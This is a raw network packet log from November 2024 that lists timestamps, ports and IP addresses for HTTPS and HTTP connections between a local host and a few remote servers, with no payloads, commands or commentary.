Nov 18, 2024 00:27:20.671694040 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.671757936 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.673333883 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.673635006 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.673696041 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.693279028 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.693279028 CET	49727	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.693314075 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.693326950 CET	443	49727	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.694746017 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.694763899 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.694849968 CET	49726	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.694864035 CET	443	49726	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.698352098 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.698404074 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.698471069 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.699276924 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.699307919 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.699359894 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.699461937 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.699481964 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:20.699616909 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:20.699629068 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.167982101 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.168751001 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.168776035 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.169260025 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.169265032 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.196686983 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.197282076 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.197292089 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.197865963 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.197870970 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.207467079 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.208025932 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.208058119 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.208333015 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.208339930 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.298542976 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.299829960 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.299896002 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.299990892 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.299990892 CET	49729	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.300009012 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.300017118 CET	443	49729	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.303196907 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.303251028 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.303340912 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.303527117 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.303539991 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.335622072 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.335686922 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.335860968 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.336025000 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.336025000 CET	49730	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.336045980 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.336057901 CET	443	49730	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.342017889 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.342061043 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.342546940 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.342546940 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.342582941 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.413655996 CET	443	49728	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:21.413813114 CET	49728	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:21.416392088 CET	49728	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:21.416420937 CET	443	49728	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:21.416686058 CET	443	49728	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:21.418993950 CET	49728	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:21.419047117 CET	49728	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:21.419070959 CET	443	49728	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:21.419214010 CET	49728	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:21.459338903 CET	443	49728	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:21.464790106 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.465651989 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.465671062 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.466070890 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.466075897 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.598176956 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.598328114 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.598503113 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.600827932 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.600827932 CET	49733	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.600846052 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.600850105 CET	443	49733	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.604290962 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.604384899 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.604484081 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.604626894 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.604656935 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.811739922 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.812026978 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.812077999 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.812141895 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.812155962 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.812161922 CET	49731	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.812166929 CET	443	49731	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.815424919 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.815519094 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.815614939 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.815795898 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:21.815833092 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:21.973121881 CET	443	49728	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:21.980854034 CET	49728	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:21.980920076 CET	443	49728	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:21.980978012 CET	49728	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:21.981008053 CET	49728	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:22.044418097 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.045006990 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.045072079 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.045545101 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.045563936 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.070301056 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.070899010 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.070911884 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.071414948 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.071430922 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.186317921 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.186379910 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.186461926 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.189421892 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.189455986 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.189486027 CET	49734	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.189507961 CET	443	49734	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.192086935 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.192131996 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.192205906 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.192346096 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.192362070 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.202008009 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.202066898 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.202111959 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.202233076 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.202233076 CET	49735	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.202246904 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.202255011 CET	443	49735	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.203047991 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.203754902 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.203774929 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.204252958 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.204271078 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.206171989 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.206262112 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.206355095 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.206501961 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.206521034 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.340794086 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.341028929 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.341239929 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.341240883 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.341240883 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.343976021 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.344017029 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.344078064 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.344244003 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.344252110 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.363477945 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.364031076 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.364084005 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.364506960 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.364521980 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.476355076 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:22.483144999 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:22.483238935 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:22.483956099 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:22.489845991 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:22.498672009 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.498733044 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.498792887 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.499042034 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.499042034 CET	49736	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.499078989 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.499103069 CET	443	49736	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.501591921 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.501636028 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.501714945 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.501858950 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.501876116 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.559050083 CET	49732	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.559115887 CET	443	49732	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.565082073 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.565623045 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.565687895 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.566111088 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.566124916 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.699511051 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.701395035 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.701472998 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.701566935 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.701607943 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.701637030 CET	49737	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.701652050 CET	443	49737	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.706422091 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.706459045 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.706620932 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.706829071 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.706846952 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.952399015 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.953119040 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.953181982 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:22.953797102 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:22.953810930 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.084153891 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.084387064 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.084579945 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.084754944 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.084754944 CET	49739	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.084803104 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.084832907 CET	443	49739	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.087507010 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.089750051 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.089803934 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.089875937 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.090235949 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.090253115 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.091192007 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.091198921 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.091392994 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.091425896 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.221879005 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.222083092 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.222165108 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.230704069 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.278040886 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.279920101 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.279961109 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.280000925 CET	49740	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.280009985 CET	443	49740	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.281419039 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.281430960 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.281930923 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.281939030 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.284358025 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.284450054 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.284554958 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.284673929 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.284693956 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.310025930 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.320684910 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.320708990 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.332228899 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.332241058 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.375813961 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:23.379427910 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:23.407152891 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.407481909 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.411432028 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.430279970 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.445220947 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.445220947 CET	49742	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.445250988 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.445265055 CET	443	49742	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.468760967 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.468871117 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.469037056 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.475671053 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.475687027 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.476227045 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.476232052 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.487674952 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.487675905 CET	49738	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.487709999 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.487735033 CET	443	49738	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.532258034 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:23.535415888 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.535454988 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.535527945 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.536184072 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.536225080 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.536302090 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.536881924 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.536901951 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.537297010 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:23.537323952 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.537353992 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.604741096 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.604904890 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.605006933 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.605212927 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.605226994 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.605268002 CET	49743	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.605273962 CET	443	49743	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.610085011 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.610100031 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.610291958 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.610702991 CET	49748	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.610718012 CET	443	49748	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.817909002 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.823484898 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:23.827389002 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:23.832865953 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.832890987 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.834069967 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.834078074 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.842708111 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:23.847563982 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:23.960783958 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.960850000 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.960967064 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.961270094 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.961322069 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.961352110 CET	49744	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.961369038 CET	443	49744	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.964694977 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.964736938 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:23.964823008 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.964998960 CET	49749	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:23.965013981 CET	443	49749	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.023041964 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.023819923 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.023881912 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.024334908 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.024373055 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.119389057 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.119491100 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.119502068 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.119627953 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:24.121213913 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:24.126094103 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:24.152117014 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.152264118 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.152381897 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.152633905 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.152633905 CET	49745	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.152664900 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.152689934 CET	443	49745	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.155592918 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.155636072 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.155716896 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.155872107 CET	49750	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.155888081 CET	443	49750	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.184048891 CET	49674	443	192.168.2.6	173.222.162.64
Nov 18, 2024 00:27:24.184056997 CET	49673	443	192.168.2.6	173.222.162.64
Nov 18, 2024 00:27:24.279995918 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.281725883 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.281790018 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.282113075 CET	49746	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.282126904 CET	443	49746	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.323931932 CET	443	49747	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:24.324496984 CET	49747	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:24.324510098 CET	443	49747	13.107.246.45	192.168.2.6
